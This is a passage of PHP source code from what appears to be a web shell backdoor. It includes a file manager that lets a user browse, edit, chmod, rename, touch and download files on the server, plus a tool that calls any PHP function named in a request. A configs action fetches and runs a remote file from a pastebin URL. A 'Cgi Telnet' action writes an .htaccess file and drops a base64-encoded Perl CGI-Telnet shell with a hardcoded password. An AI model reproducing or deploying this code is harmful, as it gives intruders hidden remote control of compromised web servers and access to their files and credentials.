                    foreach($_SESSION[\'f\'] as $k => $f)
                        $_SESSION[\'f\'][$k] = urldecode($f);
                    $_SESSION[\'cwd\'] = @$_POST[\'c\'];
                }
                break;
        }
        echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
    }

    $dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
    if($dirContent === false) {    echo \'Can\'t open this folder!\'; return;    }
    global $sort;
    $sort = array(\'name\', 1);
    if(!empty($_POST[\'p1\'])) {
        if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
    echo \'<script>
        function sa() {
            for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == \'checkbox\')
                document.files.elements[i].checked = document.files.elements[0].checked;
        }
        </script>
        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
        <form name=files method=post>\';
    echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array(\'name\' => $dirContent[$i],
                     \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
                     \'modify\' => @date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
                     \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
                     \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
                     \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
                     \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
            $files[] = array_merge($tmp, array(\'type\' => \'file\'));
        elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
            $links[] = array_merge($tmp, array(\'type\' => \'link\'));
        elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
    }
    $GLOBALS[\'sort\'] = $sort;
    function cmp($a, $b) {
        if($GLOBALS[\'sort\'][0] != \'size\')
            return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
        else
            return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach($files as $f) {
        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
            .\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
        $l = $l?0:1;
    }
    echo \'<tr><td colspan=5>
    <input type=hidden name=a value=\'FilesMan\'>
    <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
    <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>\';
    if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){echo \'<option value=\'paste\'>Paste</option>\'; }
    echo \'</select>&nbsp;<input type="submit" value=">>"></td></tr>
    </form></table></div>\';
    printFooter();
}

function actionStringTools() {
    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
    
    if(isset($_POST[\'ajax\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
        ob_start();
        if(function_exists($_POST[\'p1\']))
            echo $_POST[\'p1\']($_POST[\'p2\']);
        $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();
    echo \'<center><h1>String Conversions</h1></center><div class=content><center>\';
    $stringTools = array(
        \'Base64 encode\' => \'base64_encode\',
        \'Base64 decode\' => \'base64_decode\',
        \'Url encode\' => \'urlencode\',
        \'Url decode\' => \'urldecode\',
        \'Full urlencode\' => \'full_urlencode\',
        \'md5 hash\' => \'md5\',
        \'sha1 hash\' => \'sha1\',
        \'crypt\' => \'crypt\',
        \'CRC32\' => \'crc32\',
        \'ASCII to HEX\' => \'ascii2hex\',
        \'HEX to ASCII\' => \'hex2ascii\',
        \'HEX to DEC\' => \'hexdec\',
        \'HEX to BIN\' => \'hex2bin\',
        \'DEC to HEX\' => \'dechex\',
        \'DEC to BIN\' => \'decbin\',
        \'BIN to HEX\' => \'bin2hex\',
        \'BIN to DEC\' => \'bindec\',        
        \'String to lower case\' => \'strtolower\',
        \'String to upper case\' => \'strtoupper\',
        \'Htmlspecialchars\' => \'htmlspecialchars\',
        \'String length\' => \'strlen\',
    );
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
    echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
    foreach($stringTools as $k => $v)
        echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
        echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
    if(!empty($_POST[\'p1\'])) {
        if(function_exists($_POST[\'p1\']))
        echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
    }
    echo"</pre></div></center>";
    printFooter();
}

function actionFilesTools() {
    if( isset($_POST[\'p1\']) )
        $_POST[\'p1\'] = urldecode($_POST[\'p1\']);
    if(@$_POST[\'p2\']==\'download\') {
        if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST[\'p1\']);
                header("Content-Type: ".$type);
            }
            $fp = @fopen($_POST[\'p1\'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        } elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {

        }
        exit;
    }
    if( @$_POST[\'p2\'] == \'mkfile\' ) {
        if(!file_exists($_POST[\'p1\'])) {
            $fp = @fopen($_POST[\'p1\'], \'w\');
            if($fp) {
                $_POST[\'p2\'] = "edit";
                fclose($fp);
            }
        }
    }
    printHeader();
    echo \'<h1>File Tools</h1><div class=content>\';
    if( !file_exists(@$_POST[\'p1\']) ) {
        echo \'File not exists\';
        printFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
    $gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
    echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
    echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
    if( empty($_POST[\'p2\']) )
        $_POST[\'p2\'] = \'view\';
    if( is_file($_POST[\'p1\']) )
        $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
    else
        $m = array(\'Chmod\', \'Rename\', \'Touch\');
    foreach($m as $v)
        echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
    echo \'<br><br>\';
    switch($_POST[\'p2\']) {
        case \'view\':
            echo \'<pre class=ml1>\';
            $fp = @fopen($_POST[\'p1\'], \'r\');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo \'</pre>\';
            break;
        case \'highlight\':
            if( is_readable($_POST[\'p1\']) ) {
                echo \'<div class=ml1 style="background-color: black;color:black;">\';
                $code = highlight_file($_POST[\'p1\'],true);
                echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
            }
            break;
        case \'chmod\':
            if( !empty($_POST[\'p3\']) ) {
                $perms = 0;
                for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
                    $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
                if(!@chmod($_POST[\'p1\'], $perms))
                    echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
                else
                    die(\'<script>g(null,null,null,null,"")</script>\');
            }
            echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
            break;
        case \'edit\':
            if( !is_writable($_POST[\'p1\'])) {
                echo \'File isn\'t writeable\';
                break;
            }
            if( !empty($_POST[\'p3\']) ) {
                @file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
                echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
            }
            echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
            $fp = @fopen($_POST[\'p1\'], \'r\');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo \'</textarea><input type=submit value=">>"></form>\';
            break;
        case \'hexdump\':
            $c = @file_get_contents($_POST[\'p1\']);
            $n = 0;
            $h = array(\'00000000<br>\',\'\',\'\');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= \' \'; break;
                    case 9:  $h[2] .= \' \'; break;
                    case 10: $h[2] .= \' \'; break;
                    case 13: $h[2] .= \' \'; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
                    $h[1] .= \'<br>\';
                    $h[2] .= "
";
                }
             }
            echo \'<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#red><pre>\'.$h[1].\'</pre></td><td bgcolor=#red><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
            break;
        case \'rename\':
            if( !empty($_POST[\'p3\']) ) {
                if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
                    echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
                else
                    die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
            }
            echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
            break;
        case \'touch\':
            if( !empty($_POST[\'p3\']) ) {
                $time = strtotime($_POST[\'p3\']);
                if($time) {
                    if(@touch($_POST[\'p1\'],$time,$time))
                        die(\'<script>g(null,null,null,null,"")</script>\');
                    else {
                        echo \'Fail!<script>document.mf.p3.value="";</script>\';
                    }
                } else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
            }
            echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
            break;
        case \'mkfile\':
            
            break;
    }
    echo \'</div>\';
    printFooter();
}

function actionconfigs() {
    printHeader();
    echo \'<center><h1>Get Configs</h1></center>\';
    echo \'<div class="content">\';
	$cgi_dir = mkdir(\'configs\', 0755);
        chdir(\'configs\');
    $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);
	function adminer($url, $isi) {
		$fp = fopen($isi, "w");
		$ch = curl_init();
		 	  curl_setopt($ch, CURLOPT_URL, $url);
		 	  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		   	  curl_setopt($ch, CURLOPT_FILE, $fp);
		return curl_exec($ch);
		   	  curl_close($ch);
		fclose($fp);
		ob_flush();
		flush();
	}
	if(file_exists(\'configs/config.php\')) {
		echo "";
	} else {
		if(adminer("https://pastebin.com/raw/PdtAV3uj","config.php")) {
			echo "";
		} else {
			echo "<center><font color=red>Failed to create Config file</font></center>";
		}
	}
	echo "<br><center>  <iframe src=\'configs/config.php\' width=\'900\' height=\'430\' frameBorder=\'0\'></iframe></a>";
    echo \'</div>\';
    printFooter();
   
}

function actionSafeMode() {
    
    printHeader();
    echo "<center><h1>Cgi Telnet</h1><div class=content><center>";
	$cgi_dir = mkdir(\'telnet\', 0755);
        chdir(\'telnet\');
	$file_cgi = "cgi.new";
        $memeg = ".htaccess";
	$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks 
 AddType application/x-httpd-cgi .new 
 AddHandler cgi-script .new 
 AddHandler cgi-script .new";
	$htcgi = fopen(".htaccess", "w");
	$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+QW5vbnlNb3VzPC9mb250PiI7CgokUGFzc3dvcmQgPSAiYW5vbnltb3VzIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMgdG8gbG9naW4uCnN1YiBJc19XaW4oKXsKCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsKCWlmKCRvcyA9fiBtL3dpbi9pKXsKCQlyZXR1cm4gMTsKCX0KCWVsc2V7CgkJcmV0dXJuIDA7Cgl9Cn0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4KCiROVENtZFNlcCA9ICImIjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENtZFNlcCA9ICI7IjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwMDAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZAoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUKCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKJGNvbHM9IDE1MDsKJHJvd3M9IDI2OwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CgoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoKCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXIKIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUhlYWRlcgp7CgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsKCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CglteSAkZGlyID0kQ3VycmVudERpcjsKCSRkaXI9fiBzL1xcL1xcXFwvZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgo8dGl0bGU+QW5vbnlNb3VzIFNIZWxsPC90aXRsZT4KCiRIdG1sTWV0YUhlYWRlcgoKPC9oZWFkPgo8c3R5bGU+CmJvZHl7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICM2NDQ4OTA5NiAxcHggc29saWQ7CmNvbG9yOiAjZmZmOwp9CnRkIHsKQk9SREVSLVJJR0hUOiAgIzY0NDg5MDk2IDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzY0NDg5MDk2IDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzY0NDg5MDk2IDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzY0NDg5MDk2IDFweCBzb2xpZDsKY29sb3I6ICNmZmY7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CgoKaW5wdXQgewpCT1JERVItUklHSFQ6ICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9N